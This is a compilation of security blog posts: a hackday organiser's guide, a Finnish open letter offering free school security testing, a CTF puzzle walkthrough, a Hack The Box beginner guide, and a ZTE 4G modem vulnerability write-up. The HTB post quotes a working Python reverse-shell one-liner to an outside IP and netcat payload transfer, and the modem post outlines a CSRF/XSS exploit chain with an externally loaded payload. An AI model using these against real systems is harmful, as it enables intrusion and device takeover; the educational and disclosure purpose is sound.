Hackday (not to be confused with ‘hackathon’ events) is a live event where a group or groups of hackers do security testing to some target (i.e. hack the target). Usually the target is a web application or for example some IoT device. The event may last from one day to a few days. It is common that the organizer will pay bounties for the security vulnerabilities reported by the participants. Organizer(s) can coax hackers to participate with some amazing swag, bounties or other prices that can be won in the event. Bigger the prices, the more hackers will want to join and more experienced hackers will be participating.

The usual flow of the event will be; registering of participants, informational meetup to all, hacking and reporting of vulnerabilities, end meetup and some networking at the end.

This document aims to guide organizers to create and amazing hacking event so everyone participating will have amazing time! Organizer will get the target tested for vulnerabilities and will get good PR from the event.

Target(s)

• If possible, use a testing/staging environment for the Hackday, with extended logging to catch more data in case errors occur (and to avoid causing trouble in Production).
• Permitting hackers to access the log data can help them to dig up issues that lie deep in the application.
• Define the scope of the target in detail. This is hugely important for fair game and equal opportunity for all the teams. And also to safeguard production systems from being hammered.
• Benchmark the system for heavy loads (e.g high amount of requests/queries). Testing can impact availability especially when multiple teams are trying to break it simultaneously.
• In some cases it can be beneficial to allow reconnaissance and testing prior to the event for more value from the event itself, at the risk of low volume of reports in the event itself.
• Prepare user specific or at least team specific set of credentials for the target system. If the permission system is multi-tiered, create at least one user for each user role for each of the testers or teams. Two separate user accounts are necessary for testing certain issues.
• Consider disabling or limiting the use of external security controls such as WAF (Web Application Firewalls) and/or IPS (Intrusion Prevention Systems). This allows the teams to spend time more efficiently on finding vulnerabilities rather than trying to bypass the controls, which can be bypassed by a motivated attacker in the production anyway.

Facilities

• Prepare a room for each of the teams. This will allow the testers to openly communicate about the application and potential vulnerabilities without having to worry about the competing team overhearing the strategy.
• Connectivity options for wired and wireless networks in case one of the options is suffering poor availability.
• Reserve some snacks, refreshing beverages and arrange a quick lunch/dinner depending on the length of the event.

Rewards

• When announcing the event, include what kind of bounties will be available and if monetary, how much is reserved and how it will be paid out to the hackers. This will be the main attraction for many great hackers.
• Explain how you’ll be paying the bounties, whether it is by vulnerability type or by points earned from reporting the vulnerabilities.
• Preferably pay bounties based on business impact instead of vulnerability types. Bug Bounty programs are a great way to find the necessary details.
• If possible, reward each attending hacker/team regardless of their possible findings. This will help hackers cut their travel expenses and motivate them to to try harder next time. The reward can also be some kind of tech gift that is appealing to technically oriented people.
• Prepare the Swag! (great publicity for the company)
  • Stickers/T-Shirts/Hoodies/Backpacks/other

Acknowledgement

• Give warm thanks to your friendly neighborhood hackers. They spend hours travelling to your event to help you secure the target system and to challenge themselves while doing so.
• Don’t underestimate the public “thank you!”. Praise the teams in social media (or other), they will be grateful for it!
• Decide if the best finding/most vulnerabilities/most severe/etc vulnerability will be awarded somehow. This could also increase competitiveness between groups and at least give positive feeling of appreciation to winning group / person.
• Engage in one on one conversations with the participants to establish rapport.

Rules and Reporting

• Non-Disclosure Agreement (reasonable terms).
• Rules
  • Define what happens if a group breaks the rules, e.g. going out-of-scope, disturb other groups, unethical behaviour in the event etc.
  • Out-Of-Scope vulnerabilities should be accepted, but only as informational vulnerabilities in the event and without any points. More value for the money.
  • Malicious intent should be defined in the agreement.
  • Rules, non-disclosure agreements etc. documentation should preferably be sent beforehand for the participants to read.
  • Remember to inform that participants can not share information about the vulnerabilities publicly (or they may lose the bounty for that vulnerability).
• You should define what kind of vulnerability reports will not be rewarded.
• When and how will bounties be paid.
• Ask for consent before unleashing your media team on hackers for surprise photoshoots.
• Allow teams to see reported vulnerabilities (at least the subject of each report) so hackers know not to spend time on duplicate vulnerabilities that will be disqualified.
• Explain what is and what isn’t a duplicate report to avoid confusion.
• Require a definition of impact and a working POC (Proof of Concept) for each reported vulnerability so that the issue is easily reproduced.
• Consider if you want to ban or limit the use of automated scanners. They can help find vulnerabilities but can also negatively affect the system and event by generating excessive amount of traffic.
• Inform teams that all confidential material such as vulnerability details should be removed from hacker’s devices before leaving the event.
• Be prepared to make judgement and decisions swiftly on the spot. Have a clear jury/judge who can make decisions.

Schedule

• Time used to test the target application will of course affect the test coverage. In general, minimum of eight (8) hours should be reserved for testing.
• At the start of the event, go through the rules and specify what is in scope.

Other

• Identify (drivers license or other) each attending hacker.
• Collect bank account details (if applies) for bounty payments.
• Prepare a reporting platform for handling vulnerability reports.
• Consider allowing internet access to hackers so they can access more resources (e.g ad-hoc research).
• It is recommended to have technically inclined staff (developers) and a product owner on site to answer questions and help the jury evaluating vulnerability impact.
• The event must have jury which will decide and evaluate severity and impact of each vulnerability and the possible bounty sum.
• Assist students and/or newbies by guiding them and getting them to know “seniors”. Attract more experienced hackers to teach the juniors with some small reward.
• When the event ends, kill the connections to the target, this way you can be sure that no one tests anymore.

Tämän avoimen kirjeen on tarkoitus tavoittaa yliopistojen, ammattikorkeakoulujen, lukioiden ja ammattikoulujen tietoturvasta päättävät henkilöt. Team ROT tarjoaa yhdelle Suomalaiselle koululle ilmaisen teknisen tietoturvatestauksen.
Olemme Team ROT, meitä on kuusi henkilöä ja tietoturva on intohimomme. Teemme teknisiä tietoturvatestauksia järjestelmiin ja laitteistoihin, sekä vapaa-ajallamme, että päivätyöksemme. Olemme osallistuneet lukuisiin haavoittuvuuspalkinto-ohjelmiin (engl. “Bug Bounty program”) maailmanlaajuisesti ja tiimimme jäsenet ovatkin tunnettuja myös kansainvälisesti. Nyt haluamme parantaa Suomen koulujen tietoturvallisuutta ja haluamme tarjota yhdelle Suomen koululle ilmaisen työpanoksemme, jotta Suomi ja suomalaisten koulujen järjestelmät saadaan turvallisemmaksi.
Team ROT järjesti vuonna 2017 #kuntahaaste -kampanjan, jossa tekemällämme työpanoksella paransimme Suomalaisten kuntien tietoturvallisuutta. Vuonna 2018 osallistuimme Visman järjestämään Visma Hackday -tapahtumaan, jossa testattiin useiden koulujen käyttämän Wilma-järjestelmän tietoturvallisuutta (https://www.visma.fi/blog/visma-hackday-suomi-ruotsi-maaottelu/). Nyt haluammekin jatkaa tällä Suomalaisten koulujen tietojärjestelmien tietoturvallisuutta edistävällä tiellä, ja olemmekin päättäneet lanseerata #kouluhaaste -kampanjan.
Pyydämme halukkaita kouluja ilmoittautumaan mukaan #kouluhaaste -kampanjaan huhtikuun 2019 loppuun mennessä lähettämällä vapaamuotoisen ilmoittautumisen sähköpostiosoitteeseen team@rot.fi. Team ROT valitsee halukkaiden koulujen joukosta yhden koulun, johon tietoturvatestaus suoritetaan. Testaus sisältää teknisen tietoturvatestauksen, joka suoritetaan Team ROT -jäsenten toimesta valitun koulun järjestelmiin yhden, vielä määrittelemättömän viikonlopun aikana. Team ROT kontaktoi valittua koulua toukokuun 2019 alkupuolella.
Tietoa testausprosessista
Jotta tietoturvatestaus olisi mahdollisimman sujuva ja reilu molemmille osapuolille, koulu voi määritellä itse halutun kohteen tai kohteet sekä halutessa rajata tietyt testitapaukset pois testauksesta. Team ROT kuitenkin suosittelee, että testauksen kohteena olisi mukana mahdollisimman laaja osa koulun järjestelmiä. Näin ollen koulu hyötyy Team ROT:in tekemästä työstä mahdollisimman laajasti.
Testausaikana Team ROT pyrkii olemaan aiheuttamatta ongelmia kohdejärjestelmien saatavuuden, eheyden ja luottamuksellisuuden kanssa, mutta kuten kaikessa testauksessa, odottamattomia ongelmia voi esiintyä. Täten Team ROT ei ota vastuuta mahdollisista ongelmista, jotka testaus suorasti tai epäsuorasti voi aiheuttaa. Team ROT suosittelee, että testaus suoritetaan sellaisena ajankohtana jolloin mahdollisista esiintyvistä ongelmista aiheutuu mahdollisimman vähän haittaa koulun normaalille toiminnalle, esim. testaus suoritetaan viikonloppuna koulun loma-aikana.
Testauksen lopputuotoksena kirjoitetaan raportti, jossa raportoidaan kaikki testauksen aikana havaitut tietoturvaongelmat. Raportti toimitetaan koulun tietoturvatestaukseen valitulle yhteyshenkilölle, yleensä koulun tietoturvavastaavalle. Jos havainto koskee koulun ulkopuolista organisaatiota tai kolmannen osapuolen toimittajan sovellusta, Team ROT ilmoittaa havainnoista myös Traficomin kyberturvallisuuskeskukselle, CERT-FI:lle. Tämä sen takia, että haavoittuvuuskoordinointi kolmansien osapuolten kanssa onnistuisi mahdollisimman sujuvasti. Kun raportoidut havainnot ovat korjattu, Team ROT julkaisee niistä yhteenvedon. Yhteenveto käydään lävitse ennen sen julkaisemista yhdessä koulun kanssa ja sisällöstä poistetaan osapuolten halujen mukaisesti luottamuksellinen ja/tai yksilöivä tieto.
Team ROT pidättää oikeuden julkaista tiedon haavoittuvuuksien kokonaismäärästä jo ennen tietoturvahaavoittuvuuksien korjaamista, mutta tarkempia tietoja haavoittuvuuksista tai osallistuvaa koulun nimeä ei julkaista ennen tietoturvahaavoittuvuuksien korjaamista tai erillistä testattavan koulun antamaa kirjallista lupaa.
Terveisin,
Team ROT
Team ROTia #kouluhaaste’eessa tukemassa:

Spoiler alert

WARNING: This obviously CONTAINS SPOILERS. Do not read further if you want to solve it yourself! And you should try (harder)!

It began with the URL http://puzzle.disobey.fi/.

Quick recon

First thing I’m used to doing is recon with nmap

nmap -v -sC -sV -oA initial_nmap puzzle.disobey.fi

This quickly revealed two webservers. The other one only replied “Try harder”, a good tip indeed.
The other one had a standard nginx web page.

HTML source for the test page reveals there’s a resource lorem.html . So I downloaded that, but what to do with the seemingly standard “lorem ipsum” stuff?
At the same time, my standard approach to HackTheBox is to crawl for additional hidden resources left “accidentally” in the web server. So nikto + dirb + gobuster it is.
My normal HTB enumerator uses Kali linux standard lists and some additional ones from the SecLists.
https://gist.github.com/lokori/3ba0a98ab9cf9f1b17f83151295c666a
This crawling revealed .bash_history which lead to an SQL file, but that didn’t lead to  anything interesting.
So, back to lorem.html. With this kind of puzzle it’s important to remember that everything is not relevant to the solution, but the relevant hints and resources are provided in the puzzle. I need to remind myself of that when I get stuck.

lorem lorem lorem

Cut it into separate words.

cat pier.sh
#!/bin/bash
for word in $(<lorem.html)
do
echo “$word”
done
./pier.sh < lorem.html | sed s/[\.,]//g|sort|uniq > lorems.txt

and then

cat lorems.txt |xargs -I {} curl -O ‘http://puzzle.disobey.fi/{}’

Now we get

ls -laS
-rw-r–r– 1 root root 3650 Aug 2 09:08 vulputate
-rw-r–r– 1 root root 1421 Aug 2 09:07 lorems.txt
-rw-r–r– 1 root root 11 Aug 2 09:08 Interdum

Okay.. clearly one reply is very different!
It says: “Wrong vhost”
ok, so let’s curl again with another vhost?

curl –header ‘Host: julli.disobey.fi’ http://puzzle.disobey.fi/Interdum
Try harder – admin

So this seems kind of promising, but what is the proper virtual host?
Not one of these.

cat lorems.txt |xargs -I {} curl -o {} –header ‘Host: {}.disobey.fi’ ‘http://puzzle.disobey.fi/Interdum’

It took a while, but the answer was not very complicated after all.

curl –header ‘Host: admin’ http://puzzle.disobey.fi/Interdum
Greetings! Love you <3 – I need -love also

Okay, let’s make some “-love” then..

curl –header ‘Host: admin’ http://puzzle.disobey.fi/Interdum-love

Secrets

Now we find a nice text file.

cat secret.txt
Hi John!
Here is that secret email – encrypted with your favorite PIN-code!
SnVzdCBraWRkaW5nIC0gYmFzZTY0IGlzIGF3ZXNvbWUu

Base64 decode says “Just kidding – base64 is awesome.”
Heh. Hah. Hoh. We still have test.php there. It is a small file so it can’t be very complicated to exploit it and it’s the only lead we have now.
Perhaps there is a parameter that is exploitable, but what is the parameter name?  There is wfuzz, but let’s be old school.

cat /root/tools/SecLists/Discovery/DNS/namelist.txt |xargs -I {} curl –header ‘Host: admin’ ‘http://puzzle.disobey.fi/Interdum-love/test.php?{}=123’

Still no luck. At this point I was very frustrated and angry at myself.

Black hat Python

When I get frustrated in this way I usually write some Python to take full control of the issue. So, I wrote this one-time piece.

This tries sufficiently different values for each parameter name candidate. Given the proper word lists this finally found the parameter name, which was simply “url”.
How to exploit that?
Randomly trying some numbers.

curl -v –header ‘Host: admin’ ‘http://puzzle.disobey.fi/Interdum-love/test.php?url=1234561251’* Trying 185.86.149.26…

Resulted in “504 Gateway Time-out”. Hmm.

curl -v –header ‘Host: admin’ ‘http://puzzle.disobey.fi/Interdum-love/test.php?url=213070643/index.html’

Gave out ” HTTP/1.1 403 WAF”.
It’s a HTTP proxy! The numbers in the URL can be translated into IP addresses which enables us proxy GET requests. Let’s try the other web server in the puzzle machine through this (as the call comes from the localhost, it might behave differently):

curl –header ‘Host: admin’ ‘http://puzzle.disobey.fi/Interdum-love/test.php?url=0:8021%2f2’

And in fact, it does! There is a one character different in the reply “Try harder!1” vs. “Try harder!” but this doesn’t lead to anything interesting.

Proxy as a port scanner

This is one of the standard tricks – if there is an open proxy, it can be used to scan the internal network for ports and services not directly accessible from the outside. Let’s go!
Very crude scanner in Python.

We find SSH server and.. finally, something very interesting came up!

FOUND !! 0:40053 // 51
H4sIAI5uYVsAA+3STUgUURwA8Oe2OyyGHyF4qMtb6KAXm+eubq7rmq5bFuWaHxGWyrrO5ObuzjI7Yx+o+47mQTp16rRHE9HwEBjjhjVUsBHdqktQxtQgSpgHE+utRkGEdBEJ/j8Y3vzn//HewOuTJCUqhfoFGe0ZnuerXS6cW93VVdsrX7kTM4QnboKJ0+nkK6vdlTzBPHHyLjfC/N4d6Tc1qYRkdpRBV4zsVsfKRHGX/M7P4F/rf+KzbRihzY2x0vYUyZC35Bl5RdbJd7L8EA1PvJzITLybML7No9FxVsAv8+uzlgUbmrPMHMiWyHalZDZv64m5zH/IlgTVj9rVlPHe8ule3n7/FPhHnZMiyYi1HJJN28pGVHeszmDroXQN9XAeqqDoVibtoSZq17la6tQ5L60wLV36NJ+xYmtxuo6lVnXORyvS9VTnTuSy01svrLZ0AwsbqUfn/PS4zjVRXucCtFLnTlKyUEONFqT1poznSBtNGY/RwlFq3ETU56IN6jHqq6J+tYz6qmmj6qA+N21SD2v3U8ZdpLG6O0hzUOM20t6kjHG0saYtpYwEoiMWp+rUAxY3HbETpVwP2IkeKKzXA0V1P2/1umaj80XIP+VFir3s6dajsTzzy+KDFW1jbQ5lS7125aC3QDkyV5gtnjSXgzq75IUz9mzxDGYPW83XLC5g7/nZ4sXOW0sXtI6UYUc9hpWdwtycsmcULtdsfl1ElxzduLWh5bQfozZJVQQcbM8vQE2R5CCWhVA/FkORqNDvYN9aZen6DZwU5CFBxoqE1aSARUnGoqCEByLxK1hklUlcJiWUiBQPRcs9GPmleFwI5+JcRywiy7mG7ZF4KBLCidxMVtcciipsRAXbJsjGi1HpGi7zDwjhwaQaY33JWIhtUo5Z/tSZi83hs8HucwPnO/raYpc7E73RZKS3K9wTRyz9pwZ/Y9M+XFYAAAAAAAAAAAAAAAAAAAAAAAAAAPAXPwDTbo0GACgAAA==1

So what is this?

cat pokale.txt | base64 -d > pokale.bin
file pokale.bin
pokale.bin: gzip compressed data, last modified: Wed Aug 1 08:25:50 2018, from Unix

Ok, so a zip file. Our next step obviously.

Mystery binary

First standard thing is to run strings.

bootloader
000644
000765
000024
00000010171 13330267201 013047
ustar
00k4m1
staff
000000
000000
[!] PANIC
Route OS
Disk read failed!
Proxy server to use for fetching files (optional):
Connection to mirror failed via proxy:
Halting.
Overflow (Checksum mismatch)
GJXHcLO]MhQTbRm\Up_lsi_Zc^n
ACBD

So a bootloader, but two strings are interesting. “00k4m1” means the great k4m1 has signed this binary! In the end, “GJXHcLO]MhQTbRm\Up_lsi_Zc^n” is very likely a decryption key or some secret we have to dissect.
Let’s try a shortcut.

Sometimes we could be lucky, but not today. So let’s look at the binary, properly.
There is nothing wrong with radare2 but I used IDA free in the end. I didn’t actually run the bootloader code at all. I just analyzed it and figured out what it does without stepping and debugging. The initial guess was correct – we need to decrypt the weird string, but it just wasn’t simple XOR.

Replicating the “decryption” algorithm in Python we get something sensible out of it:

The binary also points towards the other web server we found with the nmap so clearly we need to do something there, but there is no clear URL that gives us the ticket.

Alternate solution to binary

This is from another ROT member, Jarkko Vesiluoma:

cat something.base64 |base64 -d > bootloader.gz
$ file ../bootloader2
../bootloader2: gzip compressed data, last modified: Wed Aug 1 08:25:50 2018, from Unix
$ file bootloader.raw
bootloader.raw: DOS/MBR boot sector
qemu-system-x86_64 -k fi -drive format=raw,file=bootloader.raw -s
other terminal: r2 -D gdb gdb://localhost:1234
In r2: vvv and then qq

Basically the memory of the running bootloader is accessed to get the decrypted value. It’s running inside a virtual machine so this is easy. In a way this is “cheating”, but this is a nice way to analyze an unknown binary, as long as potentially harmful actions are contained inside the virtual machine.

The final insult

Manual guessing is frustrating..

Try harder!root@kali:~/disobey/test# curl –header ‘Host: 123.0.0.5’ “http://puzzle.disobey.fi:8021/?GIVE_GIVE_GIVE_ME_MY_TICKET”
Try harder!root@kali:~/disobey/test# curl –header ‘Host: 123.0.0.5’ “http://puzzle.disobey.fi:8021/?ACBD=GIVE_GIVE_GIVE_ME_MY_TICKET”
Try harder!root@kali:~/disobey/test# curl –header ‘Host: 123.0.0.5’ “http://puzzle.disobey.fi:8021/?GIVE_GIVE_GIVE_ME_MY_TICKET=ACBD”
Try harder!root@kali:~/disobey/test# curl –header ‘Host: 123.0.0.5’ “http://puzzle.disobey.fi:8021/GIVE_GIVE_GIVE_ME_MY_TICKET”

So Python it is again! I was getting really worked up at this point after all this effort. How many times do I need to “try harder” to get the ticket?

We still need to find the right parameter list, but there is a reasonable one from the SecLists at our disposal.

python final_insult.py /root/tools/SecLists/Discovery/Web_Content/burp-parameter-names.txt
using word list /root/tools/SecLists/Discovery/Web_Content/burp-parameter-names.txt
FOUND !!data
HACKER! https://holvi.com/shop/Disobey/product/c995bdab7374d27f1250f1071c4a9b07/

So finally! There is a ticket.

You could have also done it with something like this using wfuzz:

wfuzz -c -z file,Web-Content/raft-large-words.txt –filter “c=200 and h>11” -f disobey.1 -Z -H ‘Host: admin’ http://puzzle.disobey.fi:8021/?FUZZ=GIVE_GIVE_GIVE_ME_MY_TICKET

Closing words

I got really frustrated at some points during this process, but luckily I got some motivational push from other team ROT members (thank you Jarkko and Putsi). We solved this on our own, without really co-operating together, but it still helped to me to know that I’m wandering roughly to the right direction. Our solutions were different in the end as I like writing Python scripts when things get difficult. The other ROT guys are perhaps slightly more tool oriented.
I really liked the binary challenge part and overall I think the difficulty level was correct.  It wasn’t too easy to get the hacker ticket, but perfectly doable for a motivated hacker.

A week ago I started hacking virtual machines and challenges at Hackthebox.eu and it has been a lot of fun. Hack The Box provides it’s users with a virtual environment with dedicated vulnerable machines and some CTF-style challenges. This post contains some pointers and introductory tips for aspiring would-be hackers, but no spoilers and you still need to solve the invitation code.
At my day job I try to ensure that the software we produce is secure. Sometimes it involves doing penetration testing, but I’m not doing the fancy Red Teaming stuff at all. If I find technical security flaws or process issues, they are fixed and there’s rarely any public disclosure.  There might be a review and retrospective, but no one pays me to chain cool ROP gadgets to prove that a buffer overflow can be very dangerous. Now Hackthebox.eu has provided me with an excuse to do that other kind of hacking too.

How to get started?

You’ll need some basic tools. Kali Linux in a virtual machine and some HTTP proxy (Burp or ZAP) are sufficient for most of the things. Inside Kali, nmap, dirb, nikto and Metasploit have been my most useful tools so far.
To get an idea about the hacking (as well as some tips), watch IppSec’s great videos about pwning the retired machines. For example, watch the  video about pwning Popcorn.

Pwning machines

It appears that first you need to recon the machine by running nmap and dirb and other scanners to find something exploitable. Often it’s a web application, but it can be something else too. When you find “something”, try to exploit it somehow. Get some ideas about how to find & exploit that “something” from High on Coffee: penetration testing cheat sheet.
I’m not a huge fan of having to guess something artificial, but that’s not totally unrealistic. I’m not very good at that it seems, but hopefully I’ll get better. Just keep in mind, there are steps where you may need to simply guess something.

Getting from user to root

I suck at pwning Windows machines, which is something I intend to practice next, but
these links offer some ideas for the Linux/Unix systems:
https://blog.g0tmi1k.com/2011/08/basic-linux-privilege-escalation/ https://www.rebootuser.com/?p=1758
https://www.rebootuser.com/?p=1623
Of course you need to understand how Linux systems work in the first place. Crontab, file system permissions, sudo and all that other basic admin stuff.

Binary reverse engineering challenges

In order to reverse binaries in the challenges, you need some knowledge of x86 assembly. The easier ones are not really difficult, but if you can’t read assembler code, it will be quite hard.
I have tried x64dbg, Hopper, radare2, IDA (free version) and the good old OllyDbg so far. I also downloaded Binary Ninja, but haven’t really tried it yet. While I don’t want to debate the merits these tools, I have found x64dbg most to my liking so far. Gives me the same vibes I felt with the ancient Turbo Debugger about 25 years ago.
My strategy so far has been straightforward:
1. Analyze what the program actually does.
2. See if there are interesting strings inside and how they are used.
3. Try to get rid of obfuscation and anti-debugging stuff by rewriting the code.
4. Try to make sense of the remaining final checking code. (single step, breakpoints etc.)
5. Perhaps write a small Python script to reveal the flag.
Some links which might be useful:
https://www.u235.io/single-post/2017/07/23/Simplistic-Binary-Patching-With-Radare2 https://erichokanson.me/2015/04/17/reverse-engineering-with-ollydbg/
Simply replacing the annoying stuff with NOP instructions is a good starting strategy. If the state of the system (registers and flags) are not affected, this works pretty well.
Get rid of the pesky antidebugging code!

It’s not real life

I have had fun with Hack the box (as well as some frustration also), but it has been extremely interesting to peek at what other people are doing on the machines. Here are some of my findings.

Scripters are running wild

Here’s a sample of process list from one of the machines:

www-data 2555 0.0 0.3 18904 3604 ? S 10:24 0:00 /bin/bash ./LinEnum.sh -t
www-data 2556 0.0 0.3 19004 3464 ? S 10:24 0:00 /bin/bash ./LinEnum.sh -t
www-data 1428 0.0 0.0 4508 704 ? S 10:15 0:00 sh -c cd /tmp; python -c ‘import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket
.SOCK_STREAM);s.connect((“10.10.15.228”,1234));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call([“/bin/sh”,”-i”]);’ 2>&1
www-data 1429 0.0 0.9 39980 9668 ? S 10:15 0:00 python -c import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.
connect((“10.10.15.228”,1234));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call([“/bin/sh”,”-i”]);
www-data 1430 0.0 0.0 4508 784 ? S 10:15 0:00 /bin/sh -i
www-data 1443 0.0 1.2 256212 12588 ? S 10:15 0:00 /usr/sbin/apache2 -k start
www-data 1493 0.0 0.6 32168 6680 ? S 10:16 0:00 python -c import pty;pty.spawn(“/bin/bash”)
www-data 1494 0.0 0.3 18216 3064 pts/3 Ss 10:16 0:00 /bin/bash
www-data 1501 0.0 0.0 4508 752 ? S 10:16 0:00 sh -c cd /tmp; python -c “import pty; pty.spawn(‘/bin/bash’)” 2>&1
www-data 1502 0.0 0.6 32168 6780 ? S 10:16 0:00 python -c import pty; pty.spawn(‘/bin/bash’)

In a real system, this should light up the IDS/SIEM like a christmas tree. Even a cursory look by the administrator with ps -Af would immediately reveal that something bad is happening.
Therefore, in a real pentest (of course neither of us would do any illegal hacking), the tester would run something innocent, like testrunner.sh, which would hide the nefarious activities from immediate discovery. It would be in some obscure innocent folder or completely reside in memory. Most certainly, a professional wouldn’t upload anything named “reverse-shell.php” to the server.
Reverse shells still would show up in network connections unless masquaraded with some network magic, but that process list is just plain funny
It’s quite different also for the reverse engineering. Especially reversing unknown (potential) malware is something I would approach with extreme caution. Just single-stepping and setting breakpoints in a debugger would not be enough to contain a malicious binary.
So if you want to practice for real life scenarios, I would suggest that instead of going straight for the flag, you should practice the same precautions and steps you would need in the real world. Having fun is perfectly fine, nothing wrong with that.

Don’t get accidentally exposed!

As a first step, don’t hack with your important machine. As a minimum, shut down the VPN when not using it and use a virtual machine (or a burner machine) when you connect to a potentially hostile unknown network.
A lot of people seem to be running python -m SimpleHTTPServer or something similar to host the payloads to be downloaded by the target machine. Please consider that there are other hackers working on the same machine and if you expose your hard disk to the target machine, someone else could download something interesting from your computer. Like, say, your private ssh key. SimpleHTTPServer is super handy, but it does not care about security!
Either work with something which only allows downloading your exploit.exe or immediately shut down the server after your tools have been downloaded on the target.
Here’s a way to do it with netcat:

1. On the target, start listening:
nc -l 8080 > bash.sh
2. On your attacker machine, send your evil payload:
nc -w 3 localhost 8080 < LinEnum.sh

Whether this trick works depends on the firewall rules, but as a minimal precaution, shut down your server on your machine immediately after the file transfer.

Some final tips and ideas

Tip 1: Learn Python

Python is great for quickly cooking up some automation and helper programs. You don’t need static types or classes to structure your code. But make no mistake: Python is definitely a serious programming language and not just a “scripting language”.
Here’s an example from a script I wrote to automate guessing passwords and users for a certain service.

Tip 2: Keep notes

Keep notes on the challenges and machines. I have a subfolder for each machine with more or less incoherent notes on what I have found and what I haven’t yet figured out about the machine. I may put this stuff on a private git repository to get it better organized.

Tip 3: Use the google

This is kind of obvious, but enumerate the versions and search for possible exploits in exploit-db and other places. I precompiled some exploits already and kept the binary executables in addition to source code. I might need some sort of Excel sheet or something to keep track of these if there are more to come.

Happy hacking!

It’s worth mentioning that Hack The Box contains more than just binary reverse engineering and pwning machines. I left out advice for some challenges, like steganography, which I haven’t really done. I’m not qualified to give any advice on that.
If you now feel the itch to try out some “real” hacking, please do. The best way to learn is by doing and Hack The Box is a great platform to practice on.

Nowadays, wireless 4G connections are fairly popular way of connecting to internet. Most of the internet service providers provide at least some form of 4G-package and usually they also include a free 4G-modem along with the 4G-package. These free devices are usually just re-branded versions of other vendor’s devices. This blog post examines various vulnerabilities of a re-branded ZTE MF910 4G modem.
The research was started by connecting the ZTE-device to a computer normally and a connection was initiated in a way the manual instructed. A moment later, the administrative web-interface revealed itself with a default password of ‘1234’.

WAN-to-LAN-attack: Send SMS-messages by chaining CSRF, XSS, weak default credentials and another CSRF

The features provided by the web interface were examined and it was discovered that goform_set_cmd_process-functionality is used to send various commands to the modem. This functionality uses a single http-request in which various values are supplied with GET-parameters.
The available commands were then examined and one of the most interesting commands was possibility to send SMS messages to given phone numbers. This command however requires that the user is authenticated to the web interface. It also requires that the “Referrer”-header of the http-request matches IP-address of the modem, thus making CSRF-attacks which originate from third-party domain impossible.

Easiest way to bypass the previously mentioned protections would be finding XSS-vulnerabilities which allow sending requests with proper “Referrer”-value. Thus began the search for a XSS-vulnerability.
None were found in the goform_set_cmd_process, however a single reflected XSS was found in goform_get_cmd_process-functionality that is used to fetch data from the modem. The web interface uses GET-parameter named “cmd” to specify which command the functionality should execute. By inserting a malicious javascript-payload to this GET-parameter, the server places this payload to the http-response thus triggering an XSS on the web interface.
This XSS on the goform_get_cmd_process-functionality did not require any authentication and had no CSRF-protection, which made it a great initial attack point for further attacks.

Next by crafting a special javascript payload for the XSS, it could be instructed to send http-request towards the SMS-functionality. As the request was sent from a page hosted by the modem via XSS, the “Referrer”-header value is now set to modem’s IP-address thus allowing access to the command.
The SMS-functionality however still required that the user is authenticated. As the modem does not force users to change the default password and uses same password for every device, this was bypassed simply by using the XSS to send a login-request with default password.
However a new problem was encountered during the exploitation attempt. The XSS allowed only a short payload which did not have enough space for sending the login-request and the SMS-message. This was bypassed fairly easily by splitting the payload in half. A second-stage payload contains the javascript that sends the login-command and the SMS-command. This second-stage payload is hosted on an external domain. A very simple first-stage payload was then supplied to the initial XSS and its only purpose is to load the second-stage payload script.

First-stage payload

Second-stage payload

Finally, the exploitation succeeded and by executing a CSRF-attack from a page hosted in internet, the full exploit chain was executed and the SMS-messages were sent to phone numbers specified by the adversary. Exploitation of this kind of attack is fairly severe as it requires nearly no user interaction and the initial attack can begin from WAN-side.
https://youtu.be/BLIWNBp-u34
An example attack scenario would be for example, when the user clicks on a link on e.g Facebook, the payload will trigger and the exploit will login to the system and send tons of SMS messages to whichever number that adversary defined in the payload. This will then lead to a situation where monetary consequences are caused to the owner of the modem and the targeted phone number will be filled with spam-messages.

Modem Takeover

In practice, a hacker will be able to change any settings from the MF910 device via the previously introduced CSRF-based exploit chain. For example, an adversary can hijack the web interface and take over the modem by using the exploit chain and the functionality which the modem uses for changing passwords.

Stored XSS

When creating new contacts, a “groupchoose”-parameter can be used to store malicious JavaScript payload in a contact that will be run each time contact page is opened.

This vulnerability is also exploitable via WAN-to-LAN-attack by using the previously introduced exploit chain.

Persistent denial-of-service

The goform_set_cmd_process-functionality contains a command “SET_WEB_LANGUAGE”, which is used to specify language of the web interface. By setting value of this command to fi”, brick, the modem will be bricked and the user can’t access the web interface anymore. Only way to recover from this denial-of-service condition is to do a factory reset on the modem.

The vulnerability can be exploited through a simple CSRF, however it requires that the “Referrer”-header matches IP-address of the modem. Thus, the previously introduced exploit chain can be used to exploit also this in a WAN-to-LAN-attack.

Conclusion

Current state of security in IoT-devices seems miserable (“The S in IoT stands for security”). This product did not prove otherwise. However when these vulnerabilities were reported to the manufacturer, the manufacturer reacted very quickly and all findings were fixed within couple of days, so there is light at the end of the tunnel. New firmware versions which fix the vulnerabilities were released to the original device and to the re-branded devices.

• Jarmon loistava raportti Blind XSS:stä LähiTapiolalle: https://hackerone.com/reports/159498
• Jarmon haastattelu Bugcrowd Bug Bounty alustalla: https://blog.bugcrowd.com/researcher-spotlight-putsi
• Jarkon artikkeli siitä miten valvontakamera otetaan haltuun: https://blog.rot.fi/2017/02/17/tp-link-tl-sc3171g-ip-camera-r00t/
• Iiron seminaariesitys Tesla Motorsin lähdekoodin saamisesta: https://www.youtube.com/watch?v=2a8EgCeBOzw
• Jaken artikkeli mobiililaitteen liikenteen kaappamisesta ja analysoinnista: https://blog.rot.fi/2017/02/07/decomposing-lan-security-with-scapy-and-burp-suite/

